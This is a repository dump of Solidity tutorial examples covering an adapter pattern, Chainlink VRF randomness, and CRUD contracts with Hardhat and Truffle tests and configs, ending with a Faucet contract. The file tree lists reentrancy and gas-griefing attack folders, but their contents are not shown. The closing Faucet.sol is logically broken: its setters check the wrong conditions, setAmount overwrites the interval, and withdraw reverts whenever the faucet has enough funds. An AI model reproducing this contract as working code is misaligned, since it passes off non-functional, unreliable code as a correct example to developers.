├── .gitignore ├── LICENSE ├── README.md ├── adapter-pattern ├── Adapter.sol ├── Contrato.sol ├── IContrato.sol └── README.md ├── blockchain-local-hardhat ├── README.md ├── hardhat.config.js ├── package-lock.json └── package.json ├── chainlink-vrf ├── README.md └── RandomGenerator.sol ├── crud-solidity-hardhat ├── .env.example ├── .gitignore ├── README.md ├── contracts │ └── BookDatabase.sol ├── hardhat.config.ts ├── ignition │ └── modules │ │ └── BookDatabase.ts ├── package-lock.json ├── package.json ├── scripts │ └── deploy.ts ├── test │ └── BookDatabase.test.ts └── tsconfig.json ├── crud-solidity-truffle ├── .env.example ├── README.md ├── build │ └── contracts │ │ └── StoreCustomers.json ├── contracts │ └── StoreCustomers.sol ├── migrations │ └── 1_initial_migration.js ├── package-lock.json ├── package.json ├── test │ └── StoreCustomers.test.js └── truffle-config.js ├── faucet ├── Faucet.sol └── README.md ├── gas-griefing-attack-remix ├── Auction.sol ├── GGA.sol └── README.md ├── gas-optimizations ├── .gitignore ├── README.md ├── contracts │ ├── ExternalXPublic.sol │ ├── LidandoComStructs.sol │ ├── OtimizacoesLogicas.sol │ ├── RevertXRequire.sol │ ├── StorageXMemoryXCalldata.sol │ └── ValidacaoXModifier.sol ├── hardhat.config.ts ├── ignition │ └── modules │ │ └── Lock.ts ├── package-lock.json ├── package.json ├── test │ └── GasOptimizations.test.ts └── tsconfig.json ├── hello-solidity-hardhat ├── .gitignore ├── README.md ├── contracts │ └── HelloWorld.sol ├── hardhat.config.ts ├── ignition │ └── modules │ │ └── Lock.ts ├── package-lock.json ├── package.json ├── test │ └── HelloWorld.test.ts └── tsconfig.json ├── hello-solidity-truffle ├── README.md ├── build │ └── contracts │ │ └── HelloWorld.json ├── contracts │ └── HelloWorld.sol ├── migrations │ └── 1_initial_migration.js ├── test │ └── HelloWorld.test.js └── truffle-config.js ├── multitoken-erc1155-hardhat ├── .env.example ├── .gitignore ├── README.md ├── contracts │ └── MyTokens.sol ├── hardhat.config.ts ├── package-lock.json ├── package.json ├── scripts │ └── deploy.ts ├── test │ └── MyTokens.test.ts └── tsconfig.json ├── multitoken-erc1155-remix ├── MyTokens.sol └── README.md ├── nft-erc721-hardhat ├── .env.example ├── .gitignore ├── README.md ├── contracts │ └── MyNFT.sol ├── hardhat.config.ts ├── package-lock.json ├── package.json ├── scripts │ └── deploy.ts ├── test │ └── MyNFT.test.ts └── tsconfig.json ├── nft-erc721-remix ├── MyNFT.sol └── README.md ├── ownable-accesscontrol-patterns ├── AccessControlContract.sol ├── OwnableContract.sol ├── README.md └── RawContract.sol ├── protocolo-defi-remix ├── Carteira.sol ├── Colchao.sol └── README.md ├── protocolo-liquidity-mining-remix ├── ILPToken.sol ├── LiquidityMining.sol ├── LiquidityToken.sol └── README.md ├── protocolo-staking-remix ├── ColchaoV2.sol ├── ILPToken.sol ├── LiquidityProviderToken.sol └── README.md ├── proxy-pattern-hardhat ├── .env.example ├── .gitignore ├── .openzeppelin │ └── polygon-mumbai.json ├── README.md ├── contracts │ └── Contrato.sol ├── hardhat.config.ts ├── ignition │ └── modules │ │ └── Lock.ts ├── package.json ├── scripts │ ├── deploy.ts │ └── update.ts ├── test │ └── Contrato.test.ts └── tsconfig.json ├── reentrancy-attack-remix ├── Carteira.sol ├── RA.sol └── README.md ├── stablecoin-fiat-remix ├── IStableCoin.sol ├── MyExchange.sol ├── MyStableCoin.sol ├── MyStableCoinV2.sol └── README.md ├── token-erc20-hardhat ├── .gitignore ├── README.md ├── contracts │ └── LuizCoin.sol ├── hardhat.config.ts ├── package-lock.json ├── package.json ├── scripts │ └── deploy.ts ├── test │ └── LuizCoin.test.ts └── tsconfig.json ├── token-erc20-remix ├── LuizCoin.sol └── README.md ├── token-erc20-truffle ├── README.md ├── build │ └── contracts │ │ ├── Context.json │ │ ├── ERC20.json │ │ ├── IERC20.json │ │ ├── IERC20Metadata.json │ │ └── LuizCoin.json ├── contracts │ └── LuizCoin.sol ├── migrations │ └── 1_initial_migration.js ├── package-lock.json ├── package.json ├── test │ └── LuizCoin.test.js └── truffle-config.js ├── uniswap-integration ├── README.md └── UniswapIntegration.sol └── wrapped-token-remix ├── README.md ├── WrappedEther.sol └── WrappedToken.sol /.gitignore: -------------------------------------------------------------------------------- 1 | # Logs 2 | logs 3 | *.log 4 | npm-debug.log* 5 | yarn-debug.log* 6 | yarn-error.log* 7 | lerna-debug.log* 8 | 9 | # Diagnostic reports (https://nodejs.org/api/report.html) 10 | report.[0-9]*.[0-9]*.[0-9]*.[0-9]*.json 11 | 12 | # Runtime data 13 | pids 14 | *.pid 15 | *.seed 16 | *.pid.lock 17 | 18 | # Directory for instrumented libs generated by jscoverage/JSCover 19 | lib-cov 20 | 21 | # Coverage directory used by tools like istanbul 22 | coverage 23 | *.lcov 24 | 25 | # nyc test coverage 26 | .nyc_output 27 | 28 | # Grunt intermediate storage (https://gruntjs.com/creating-plugins#storing-task-files) 29 | .grunt 30 | 31 | # Bower dependency directory (https://bower.io/) 32 | bower_components 33 | 34 | # node-waf configuration 35 | .lock-wscript 36 | 37 | # Compiled binary addons (https://nodejs.org/api/addons.html) 38 | build/Release 39 | 40 | # Dependency directories 41 | node_modules/ 42 | jspm_packages/ 43 | 44 | # TypeScript v1 declaration files 45 | typings/ 46 | 47 | # TypeScript cache 48 | *.tsbuildinfo 49 | 50 | # Optional npm cache directory 51 | .npm 52 | 53 | # Optional eslint cache 54 | .eslintcache 55 | 56 | # Microbundle cache 57 | .rpt2_cache/ 58 | .rts2_cache_cjs/ 59 | .rts2_cache_es/ 60 | .rts2_cache_umd/ 61 | 62 | # Optional REPL history 63 | .node_repl_history 64 | 65 | # Output of 'npm pack' 66 | *.tgz 67 | 68 | # Yarn Integrity file 69 | .yarn-integrity 70 | 71 | # dotenv environment variables file 72 | .env 73 | .env.test 74 | 75 | # parcel-bundler cache (https://parceljs.org/) 76 | .cache 77 | 78 | # Next.js build output 79 | .next 80 | 81 | # Nuxt.js build / generate output 82 | .nuxt 83 | dist 84 | 85 | # Gatsby files 86 | .cache/ 87 | # Comment in the public line in if your project uses Gatsby and *not* Next.js 88 | # https://nextjs.org/blog/next-9-1#public-directory-support 89 | # public 90 | 91 | # vuepress build output 92 | .vuepress/dist 93 | 94 | # Serverless directories 95 | .serverless/ 96 | 97 | # FuseBox cache 98 | .fusebox/ 99 | 100 | # DynamoDB Local files 101 | .dynamodb/ 102 | 103 | # TernJS port file 104 | .tern-port 105 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2022 Luiz Duarte 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # solidity-examples 2 | Simple Solidity examples. 3 | Use the respective readmes to know more about the projects. 4 | 5 | ## Referências 6 | 7 | Conheça meu livro: https://www.luiztools.com.br/livro-web3 8 | 9 | Conheça meu curso de web3, blockchain e solidity: https://www.luiztools.com.br/curso-web23 10 | 11 | Me siga nas redes sociais: https://about.me/luiztools 12 | 13 | Receba novidades no Telegram: https://t.me/luiznews -------------------------------------------------------------------------------- /adapter-pattern/Adapter.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.17; 4 | 5 | import "./IContrato.sol"; 6 | 7 | contract Adapter { 8 | IContrato private contrato; 9 | address public immutable owner; 10 | 11 | constructor() { 12 | owner = msg.sender; 13 | } 14 | 15 | function getResult() external view returns (string memory) { 16 | return contrato.getResult(); 17 | } 18 | 19 | function upgrade(address newImplementation) external { 20 | require(msg.sender == owner, "You do not have permission"); 21 | contrato = IContrato(newImplementation); 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /adapter-pattern/Contrato.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.17; 4 | 5 | import "./IContrato.sol"; 6 | 7 | contract Contrato is IContrato { 8 | string private result = ""; 9 | 10 | function getResult() external view returns (string memory) { 11 | return result; 12 | } 13 | } 14 | -------------------------------------------------------------------------------- /adapter-pattern/IContrato.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.17; 4 | 5 | interface IContrato { 6 | function getResult() external view returns (string memory); 7 | } 8 | -------------------------------------------------------------------------------- /adapter-pattern/README.md: -------------------------------------------------------------------------------- 1 | # adapter-pattern 2 | A simple adapter pattern implementation for upgradeable contracts. 3 | 4 | ## Mais Informações 5 | 6 | Leia o tutorial em: https://www.luiztools.com.br/post/como-atualizar-smart-contracts-em-solidity/ 7 | 8 | Conheça meu livro: https://www.luiztools.com.br/livro-web3 9 | 10 | Conheça meu curso de web3, blockchain e solidity: https://www.luiztools.com.br/curso-web23 11 | 12 | Me siga nas redes sociais: https://about.me/luiztools 13 | 14 | Receba novidades no Telegram: https://t.me/luiznews 15 | -------------------------------------------------------------------------------- /blockchain-local-hardhat/README.md: -------------------------------------------------------------------------------- 1 | # blockchain-local-hardhat 2 | A simple example of how to run a local/privat blockchain with HardHat. 3 | 4 | Tutorial at https://www.luiztools.com.br/post/como-subir-uma-blockchain-local-privada-para-desenvolvimento/ 5 | 6 | ## How to Run 7 | 1. git clone 8 | 2. cd blockchain-local-hardhat 9 | 3. npm install 10 | 4. npm start 11 | 12 | ## More 13 | 14 | Conheça meu livro: https://www.luiztools.com.br/livro-web3 15 | 16 | Conheça meu curso de web3, blockchain e solidity: https://www.luiztools.com.br/curso-web23 17 | 18 | Me siga nas redes sociais: https://about.me/luiztools 19 | 20 | Receba novidades no Telegram: https://t.me/luiznews -------------------------------------------------------------------------------- /blockchain-local-hardhat/hardhat.config.js: -------------------------------------------------------------------------------- 1 | /** @type import('hardhat/config').HardhatUserConfig */ 2 | module.exports = { 3 | solidity: "0.8.19", 4 | networks: { 5 | local: { 6 | chainId: 31337, 7 | url: "http://localhost:8545/", 8 | accounts: { 9 | mnemonic: "test test test test test test test test test test test junk" 10 | } 11 | } 12 | } 13 | }; 14 | -------------------------------------------------------------------------------- /blockchain-local-hardhat/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "blockchain-local-hardhat", 3 | "version": "1.0.0", 4 | "description": "A simple example of how to run a local/privat blockchain with HardHat.", 5 | "main": "index.js", 6 | "scripts": { 7 | "start": "npx hardhat node --network hardhat" 8 | }, 9 | "keywords": [], 10 | "author": "LuizTools", 11 | "license": "MIT", 12 | "devDependencies": { 13 | "hardhat": "^2.19.1" 14 | } 15 | } 16 | -------------------------------------------------------------------------------- /chainlink-vrf/README.md: -------------------------------------------------------------------------------- 1 | # Chainlink VRF Example 2 | 3 | Simple example of Chainlink VRF consumer (Seplolia configured). 4 | 5 | And another example of pseudo-random function. :) 6 | 7 | ## How to Run 8 | 9 | 1. create a subscription at Chainlink VRF and fund it, get the subscription id 10 | 2. copy the smart contract for Remix 11 | 3. compile it 12 | 4. deploy it to the target network passing the subscription id by param 13 | 5. make the random request with the subscription owner wallet 14 | 6. wait to check if the result was returned after a few minutes (in the mapping) 15 | 16 | ## Referências 17 | 18 | Tutorial em https://www.luiztools.com.br/post/numeros-aleatorios-em-smart-contracts-solidity/ 19 | 20 | Conheça meu curso de web3, blockchain e solidity: https://www.luiztools.com.br/curso-web23 21 | 22 | Conheça meu livro: https://www.luiztools.com.br/livro-web3 23 | 24 | Me siga nas redes sociais: https://about.me/luiztools 25 | 26 | Receba novidades no Telegram: https://t.me/luiznews -------------------------------------------------------------------------------- /chainlink-vrf/RandomGenerator.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.29; 4 | 5 | import {VRFConsumerBaseV2Plus} from "@chainlink/contracts/src/v0.8/vrf/dev/VRFConsumerBaseV2Plus.sol"; 6 | import {VRFV2PlusClient} from "@chainlink/contracts/src/v0.8/vrf/dev/libraries/VRFV2PlusClient.sol"; 7 | 8 | contract RandomGenerator is VRFConsumerBaseV2Plus { 9 | uint256 s_subscriptionId; 10 | address vrfCoordinator = 0x9DdfaCa8183c41ad55329BdeeD9F6A8d53168B1B; 11 | bytes32 s_keyHash = 0x787d74caea10b2b357790d5b5247c2f63d1d91572a9846f780606e4d953677ae; 12 | uint32 callbackGasLimit = 40000; 13 | uint16 requestConfirmations = 3; 14 | uint32 numWords = 1; 15 | 16 | uint constant private MAX = 100; 17 | mapping(uint256 => address) public s_requests; 18 | mapping(address => uint256) public s_results; 19 | 20 | constructor(uint256 subscriptionId) VRFConsumerBaseV2Plus(vrfCoordinator) { 21 | s_subscriptionId = subscriptionId; 22 | } 23 | 24 | function random(address requester) public onlyOwner returns (uint256 requestId) { 25 | requestId = s_vrfCoordinator.requestRandomWords( 26 | VRFV2PlusClient.RandomWordsRequest({ 27 | keyHash: s_keyHash, 28 | subId: s_subscriptionId, 29 | requestConfirmations: requestConfirmations, 30 | callbackGasLimit: callbackGasLimit, 31 | numWords: numWords, 32 | // use nativePayment como true se quiser pagar com a moeda nativa da rede 33 | extraArgs: VRFV2PlusClient._argsToBytes(VRFV2PlusClient.ExtraArgsV1({nativePayment: false})) 34 | }) 35 | ); 36 | 37 | s_requests[requestId] = requester; 38 | s_results[requester] = 0; 39 | } 40 | 41 | function fulfillRandomWords(uint256 requestId, uint256[] calldata randomWords) internal override { 42 | uint256 randomValue = (randomWords[0] % MAX) + 1; 43 | s_results[s_requests[requestId]] = randomValue; 44 | } 45 | 46 | function pseudoRandom(uint256 seed, uint256 max) 47 | public 48 | view 49 | returns (uint256) 50 | { 51 | return 52 | uint256(keccak256(abi.encodePacked(block.timestamp, seed))) % max; 53 | } 54 | } 55 | -------------------------------------------------------------------------------- /crud-solidity-hardhat/.env.example: -------------------------------------------------------------------------------- 1 | #Get one for free at Infura.io 2 | RPC_NODE= 3 | 4 | #12-word mnemonic wallet phrase 5 | SECRET= 6 | 7 | #EtherScan API Key 8 | API_KEY= -------------------------------------------------------------------------------- /crud-solidity-hardhat/.gitignore: -------------------------------------------------------------------------------- 1 | node_modules 2 | .env 3 | coverage 4 | coverage.json 5 | typechain 6 | typechain-types 7 | 8 | #Hardhat files 9 | cache 10 | artifacts 11 | ignition/deployments 12 | 13 | -------------------------------------------------------------------------------- /crud-solidity-hardhat/README.md: -------------------------------------------------------------------------------- 1 | # crud-solidity-hardhat 2 | A CRUD example in Solidity with HardHat. 3 | 4 | ## Pre-requisites 5 | 6 | 1. Node.js 7 | 8 | ## How to Run 9 | 10 | 1. open command line terminal 11 | 2. cd crud-solidity-hardhat 12 | 3. npm install 13 | 4. npm test 14 | 15 | ## How to Deploy 16 | 1. copy .env.example as .env 17 | 2. fill .env variables 18 | 3. review hardhat.config.ts 19 | 4. npm run deploy or npm run ignition 20 | 21 | ## Mais Informações 22 | 23 | Leia o tutorial em: https://www.luiztools.com.br/post/como-criar-seu-primeiro-smart-contract-em-solidity-com-hardhat/ 24 | 25 | Deploy com script em https://www.luiztools.com.br/post/deploy-de-smart-contract-com-hardhat-e-metamask 26 | 27 | Deploy com HardHat Ignition em https://www.luiztools.com.br/post/deploy-de-smart-contract-com-hardhat-ignition/ 28 | 29 | Conheça meu livro: https://www.luiztools.com.br/livro-web3 30 | 31 | Conheça meu curso de web3, blockchain e solidity: https://www.luiztools.com.br/curso-web23 32 | 33 | Me siga nas redes sociais: https://about.me/luiztools 34 | 35 | Receba novidades no Telegram: https://t.me/luiznews 36 | -------------------------------------------------------------------------------- /crud-solidity-hardhat/contracts/BookDatabase.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.26; 3 | 4 | // Uncomment this line to use console.log 5 | // import "hardhat/console.sol"; 6 | 7 | contract BookDatabase { 8 | struct Book { 9 | string title; 10 | uint16 year; 11 | } 12 | 13 | mapping(uint32 => Book) public books; 14 | 15 | uint32 private nextId = 0; 16 | uint32 public count; 17 | address private immutable owner; 18 | 19 | constructor() { 20 | owner = msg.sender; 21 | } 22 | 23 | function getNextId() private returns (uint32) { 24 | return ++nextId; 25 | } 26 | 27 | function addBook(Book memory book) public { 28 | uint32 id = getNextId(); 29 | books[id] = book; 30 | count++; 31 | } 32 | 33 | function getBook(uint32 id) public view returns (Book memory) { 34 | return books[id]; 35 | } 36 | 37 | function compareStrings(string memory a, string memory b) 38 | private 39 | pure 40 | returns (bool) 41 | { 42 | return keccak256(bytes(a)) == keccak256(bytes(b)); 43 | } 44 | 45 | function editBook(uint32 id, Book memory newBook) public { 46 | Book memory oldBook = books[id]; 47 | if (bytes(oldBook.title).length == 0) return; 48 | 49 | if ( 50 | bytes(newBook.title).length > 0 && 51 | !compareStrings(oldBook.title, newBook.title) 52 | ) oldBook.title = newBook.title; 53 | 54 | if (newBook.year > 0 && oldBook.year != newBook.year) 55 | oldBook.year = newBook.year; 56 | 57 | books[id] = oldBook; 58 | } 59 | 60 | function removeBook(uint32 id) public { 61 | require(msg.sender == owner, "Caller is not owner"); 62 | Book memory oldBook = books[id]; 63 | if (bytes(oldBook.title).length > 0) { 64 | delete books[id]; 65 | count--; 66 | } 67 | } 68 | } 69 | -------------------------------------------------------------------------------- /crud-solidity-hardhat/hardhat.config.ts: -------------------------------------------------------------------------------- 1 | import { HardhatUserConfig } from "hardhat/config"; 2 | import "@nomicfoundation/hardhat-toolbox"; 3 | 4 | import dotenv from 'dotenv'; 5 | dotenv.config(); 6 | 7 | const config: HardhatUserConfig = { 8 | solidity: "0.8.26", 9 | networks: { 10 | sepolia: { 11 | url: process.env.RPC_NODE, 12 | chainId: 11155111, 13 | accounts: { 14 | mnemonic: process.env.SECRET 15 | } 16 | }, 17 | bsctest: { 18 | url: "https://data-seed-prebsc-1-s1.binance.org:8545/", 19 | chainId: 97, 20 | accounts: { 21 | mnemonic: process.env.SECRET 22 | } 23 | } 24 | }, 25 | etherscan: { 26 | apiKey: process.env.API_KEY 27 | } 28 | }; 29 | 30 | export default config; -------------------------------------------------------------------------------- /crud-solidity-hardhat/ignition/modules/BookDatabase.ts: -------------------------------------------------------------------------------- 1 | import { buildModule } from "@nomicfoundation/hardhat-ignition/modules"; 2 | 3 | const BookDatabaseModule = buildModule("BookDatabaseModule", (m) => { 4 | 5 | const contract = m.contract("BookDatabase"); 6 | 7 | return { contract }; 8 | }); 9 | 10 | export default BookDatabaseModule; 11 | -------------------------------------------------------------------------------- /crud-solidity-hardhat/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "crud-solidity-hardhat", 3 | "version": "1.0.0", 4 | "description": "", 5 | "main": "index.js", 6 | "scripts": { 7 | "test": "npx hardhat test", 8 | "deploy": "npx hardhat run scripts/deploy.ts --network bsctest", 9 | "ignition": "npx hardhat ignition deploy ignition/modules/BookDatabase.ts --network sepolia" 10 | }, 11 | "keywords": [], 12 | "author": "LuizTools", 13 | "license": "MIT", 14 | "devDependencies": { 15 | "@nomicfoundation/hardhat-toolbox": "^5.0.0", 16 | "hardhat": "^2.22.2" 17 | }, 18 | "dependencies": { 19 | "dotenv": "^16.4.5" 20 | } 21 | } 22 | -------------------------------------------------------------------------------- /crud-solidity-hardhat/scripts/deploy.ts: -------------------------------------------------------------------------------- 1 | import { ethers } from "hardhat"; 2 | 3 | async function main() { 4 | const BookDatabase = await ethers.getContractFactory("BookDatabase"); 5 | const bookDatabase = await BookDatabase.deploy(); 6 | await bookDatabase.waitForDeployment(); 7 | console.log(`Contract deployed to ${bookDatabase.target}`); 8 | } 9 | 10 | // We recommend this pattern to be able to use async/await everywhere 11 | // and properly handle errors. 12 | main().catch((error) => { 13 | console.error(error); 14 | process.exitCode = 1; 15 | }); -------------------------------------------------------------------------------- /crud-solidity-hardhat/test/BookDatabase.test.ts: -------------------------------------------------------------------------------- 1 | import { loadFixture } from "@nomicfoundation/hardhat-network-helpers"; 2 | import { expect } from "chai"; 3 | import { ethers } from "hardhat"; 4 | 5 | describe("BookDatabase", () => { 6 | 7 | async function deployFixture() { 8 | const [owner, otherAccount] = await ethers.getSigners(); 9 | 10 | const BookDatabase = await ethers.getContractFactory("BookDatabase"); 11 | const bookDatabase = await BookDatabase.deploy(); 12 | 13 | return { bookDatabase, owner, otherAccount }; 14 | } 15 | 16 | it("Should add book", async () => { 17 | const { bookDatabase } = await loadFixture(deployFixture); 18 | 19 | await bookDatabase.addBook({ 20 | title: "Criando apps para empresas com Android", 21 | year: 2015 22 | }); 23 | 24 | expect(await bookDatabase.count()).to.equal(1); 25 | }); 26 | 27 | it('Get Book', async () => { 28 | const { bookDatabase } = await loadFixture(deployFixture); 29 | 30 | await bookDatabase.addBook({ 31 | title: "Criando apps para empresas com Android", 32 | year: 2015 33 | }); 34 | 35 | const book = await bookDatabase.getBook(1); 36 | expect(book.title).to.equal("Criando apps para empresas com Android"); 37 | }) 38 | 39 | it('Edit Book', async () => { 40 | const { bookDatabase } = await loadFixture(deployFixture); 41 | 42 | await bookDatabase.addBook({ 43 | title: "Criando apps para empresas com Android", 44 | year: 2015 45 | }); 46 | 47 | await bookDatabase.editBook(1, { title: "Criando apps com Android", year: 0 }); 48 | 49 | const book = await bookDatabase.getBook(1); 50 | expect(book.title).to.equal("Criando apps com Android"); 51 | expect(book.year).to.equal(2015); 52 | }) 53 | 54 | it('Remove Book', async () => { 55 | const { bookDatabase, owner } = await loadFixture(deployFixture); 56 | 57 | await bookDatabase.addBook({ 58 | title: "Criando apps para empresas com Android", 59 | year: 2015 60 | }); 61 | 62 | await bookDatabase.removeBook(1, { from: owner.address }); 63 | expect(await bookDatabase.count()).to.equal(0); 64 | }) 65 | }); 66 | -------------------------------------------------------------------------------- /crud-solidity-hardhat/tsconfig.json: -------------------------------------------------------------------------------- 1 | { 2 | "compilerOptions": { 3 | "target": "es2020", 4 | "module": "commonjs", 5 | "esModuleInterop": true, 6 | "forceConsistentCasingInFileNames": true, 7 | "strict": true, 8 | "skipLibCheck": true, 9 | "resolveJsonModule": true 10 | } 11 | } 12 | -------------------------------------------------------------------------------- /crud-solidity-truffle/.env.example: -------------------------------------------------------------------------------- 1 | #12-word mnemonic wallet phrase 2 | SECRET= 3 | 4 | #BSC Scan API Key 5 | API_KEY= -------------------------------------------------------------------------------- /crud-solidity-truffle/README.md: -------------------------------------------------------------------------------- 1 | # crud-solidity-truffle 2 | A CRUD example in Solidity with Truffle. 3 | 4 | ## Pre-requisites 5 | 6 | 1. Node.js 7 | 2. Truffle 8 | 9 | ## How to Run 10 | 11 | 1. open command line terminal 12 | 2. cd crud-solidity-truffle 13 | 3. npm install 14 | 4. sudo truffle compile 15 | 5. sudo truffle test 16 | 17 | ## Mais Informações 18 | 19 | Leia o tutorial em (inclui vídeo): https://www.luiztools.com.br/post/como-criar-seu-primeiro-smart-contract-em-solidity-com-truffle/ 20 | 21 | Deploy em (inclui vídeo) https://www.luiztools.com.br/post/deploy-de-smart-contract-com-truffle-e-metamask 22 | 23 | Conheça meu livro: https://www.luiztools.com.br/livro-web3 24 | 25 | Conheça meu curso de web3, blockchain e solidity: https://www.luiztools.com.br/curso-web23 26 | 27 | Me siga nas redes sociais: https://about.me/luiztools 28 | 29 | Receba novidades no Telegram: https://t.me/luiznews -------------------------------------------------------------------------------- /crud-solidity-truffle/contracts/StoreCustomers.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.17; 3 | 4 | contract StoreCustomers { 5 | address private immutable owner; 6 | uint32 public count; 7 | 8 | constructor() { 9 | owner = msg.sender; 10 | } 11 | 12 | struct Customer { 13 | string name; 14 | uint8 age; 15 | } 16 | 17 | mapping(uint32 => Customer) public customers; 18 | 19 | uint32 private nextId = 0; 20 | 21 | function getNextId() private returns (uint32) { 22 | return ++nextId; 23 | } 24 | 25 | function compareStrings(string memory a, string memory b) 26 | private 27 | pure 28 | returns (bool) 29 | { 30 | return keccak256(bytes(a)) == keccak256(bytes(b)); 31 | } 32 | 33 | function addCustomer(Customer memory customer) public { 34 | uint32 id = getNextId(); 35 | customers[id] = customer; 36 | count++; 37 | } 38 | 39 | function getCustomer(uint32 id) public view returns (Customer memory) { 40 | return customers[id]; 41 | } 42 | 43 | function editCustomer(uint32 id, Customer memory newCustomer) public { 44 | Customer memory oldCustomer = customers[id]; 45 | if (bytes(oldCustomer.name).length == 0) return; 46 | 47 | if (bytes(newCustomer.name).length > 0 && !compareStrings(oldCustomer.name, newCustomer.name)) 48 | oldCustomer.name = newCustomer.name; 49 | 50 | if (newCustomer.age > 0 && oldCustomer.age != newCustomer.age) 51 | oldCustomer.age = newCustomer.age; 52 | 53 | customers[id] = oldCustomer; 54 | } 55 | 56 | function removeCustomer(uint32 id) public { 57 | require(msg.sender == owner, "Caller is not owner"); 58 | Customer memory oldCustomer = customers[id]; 59 | if (bytes(oldCustomer.name).length > 0) { 60 | delete customers[id]; 61 | count--; 62 | } 63 | } 64 | } 65 | -------------------------------------------------------------------------------- /crud-solidity-truffle/migrations/1_initial_migration.js: -------------------------------------------------------------------------------- 1 | const StoreCustomers = artifacts.require("StoreCustomers"); 2 | 3 | module.exports = function(deployer) { 4 | deployer.deploy(StoreCustomers); 5 | }; 6 | -------------------------------------------------------------------------------- /crud-solidity-truffle/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "dependencies": { 3 | "@truffle/hdwallet-provider": "^2.0.14", 4 | "dotenv": "^16.0.2" 5 | }, 6 | "devDependencies": { 7 | "truffle-plugin-verify": "^0.5.28" 8 | } 9 | } 10 | -------------------------------------------------------------------------------- /crud-solidity-truffle/test/StoreCustomers.test.js: -------------------------------------------------------------------------------- 1 | const StoreCustomers = artifacts.require("StoreCustomers"); 2 | 3 | contract('StoreCustomers', function (accounts) { 4 | beforeEach(async () => { 5 | contract = await StoreCustomers.new(); 6 | }) 7 | 8 | it('Add Customer', async () => { 9 | await contract.addCustomer({ 10 | name: "Luiz", 11 | age: 34 12 | }); 13 | 14 | const count = await contract.count(); 15 | assert(count.toNumber() === 1, "Couldn't add the customer."); 16 | }) 17 | 18 | it('Get Customer', async () => { 19 | await contract.addCustomer({ 20 | name: "Luiz", 21 | age: 34 22 | }); 23 | 24 | const customer = await contract.getCustomer(1); 25 | assert(customer.name === "Luiz", "Couldn't add the customer."); 26 | }) 27 | 28 | it('Edit Customer', async () => { 29 | await contract.addCustomer({ 30 | name: "Luiz", 31 | age: 34 32 | }); 33 | 34 | await contract.editCustomer(1, { name: "Fernando", age: 0 }); 35 | 36 | const customer = await contract.getCustomer(1); 37 | assert(customer.name === "Fernando" && customer.age === 34, "Couldn't edit the customer."); 38 | }) 39 | 40 | it('Remove Customer', async () => { 41 | await contract.addCustomer({ 42 | name: "Luiz", 43 | age: 34 44 | }); 45 | 46 | await contract.removeCustomer(1, { from: accounts[0] }); 47 | const count = await contract.count(); 48 | assert(count.toNumber() === 0, "Couldn't delete the customer."); 49 | }) 50 | }); -------------------------------------------------------------------------------- /crud-solidity-truffle/truffle-config.js: -------------------------------------------------------------------------------- 1 | require("dotenv").config(); 2 | const HDWalletProvider = require("@truffle/hdwallet-provider"); 3 | 4 | module.exports = { 5 | plugins: ["truffle-plugin-verify"], 6 | api_keys: { 7 | bscscan: process.env.API_KEY 8 | }, 9 | networks: { 10 | bsctest: { 11 | provider: new HDWalletProvider({ 12 | mnemonic: { 13 | phrase: process.env.SECRET 14 | }, 15 | providerOrUrl: "https://data-seed-prebsc-1-s1.binance.org:8545/", 16 | }), 17 | network_id: "97" 18 | } 19 | }, 20 | compilers: { 21 | solc: { 22 | version: "^0.8.17", 23 | settings: { 24 | optimizer: { 25 | enabled: true, // Default: false 26 | runs: 200 // Default: 200 27 | }, 28 | } 29 | } 30 | } 31 | }; 32 | -------------------------------------------------------------------------------- /faucet/Faucet.sol: -------------------------------------------------------------------------------- 1 | //SPDX-License-Identifier: MIT 2 | 3 | pragma solidity 0.8.26; 4 | 5 | contract Faucet { 6 | 7 | mapping(address => uint) public nextTry; 8 | 9 | address immutable owner; 10 | uint interval = 86400;//24h 11 | uint amount = 1;//wei 12 | 13 | constructor(){ 14 | owner = msg.sender; 15 | } 16 | 17 | function setInterval(uint newInterval) external { 18 | require(msg.sender == owner, "Invalid account"); 19 | require(newInterval == 0, "Invalid interval"); 20 | interval = newInterval; 21 | } 22 | 23 | function setAmount(uint newAmount) external { 24 | require(msg.sender == owner, "Invalid account"); 25 | require(newAmount == 0 || newAmount > address(this).balance, "Invalid amount"); 26 | interval = newAmount; 27 | } 28 | 29 | function withdraw() external { 30 | require(amount > address(this).balance, "Insufficient funds"); 31 | require(block.timestamp > nextTry[msg.sender], "Invalid withdraw"); 32 | nextTry[msg.sender] = block.timestamp + interval; 33 | payable(msg.sender).transfer(amount); 34 | } 